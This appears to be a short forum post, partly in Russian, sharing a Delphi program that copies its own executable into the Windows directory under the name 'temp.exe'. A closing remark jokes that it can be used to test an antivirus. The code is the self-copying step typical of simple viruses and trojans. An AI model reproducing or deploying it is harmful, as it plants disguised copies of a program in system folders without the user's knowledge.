[NumLock]

Код:

program Project1;

uses
  Windows, Messages;

{$R *.res}

var
  modulefilename: array [0..MAX_PATH] of Char;
  windowsdirectory: array [0..MAX_PATH] of Char;
  modulefilenamelen: Integer;
  windowsdirectorylen: Integer;
  newfilename: array [0..MAX_PATH] of Char;

begin
  newfilename:='temp.exe';
  modulefilenamelen:=GetModuleFileName(0, modulefilename, SizeOf(modulefilename));
  windowsdirectorylen:=GetWindowsDirectory(windowsdirectory, SizeOf(windowsdirectory));
  if (modulefilenamelen>0) and (windowsdirectorylen>0) then
    CopyFile(modulefilename, PChar(Copy(windowsdirectory, 1, windowsdirectorylen)+'\'+newfilename), False);
end.

заодно антивирусник на вирус проверить можно)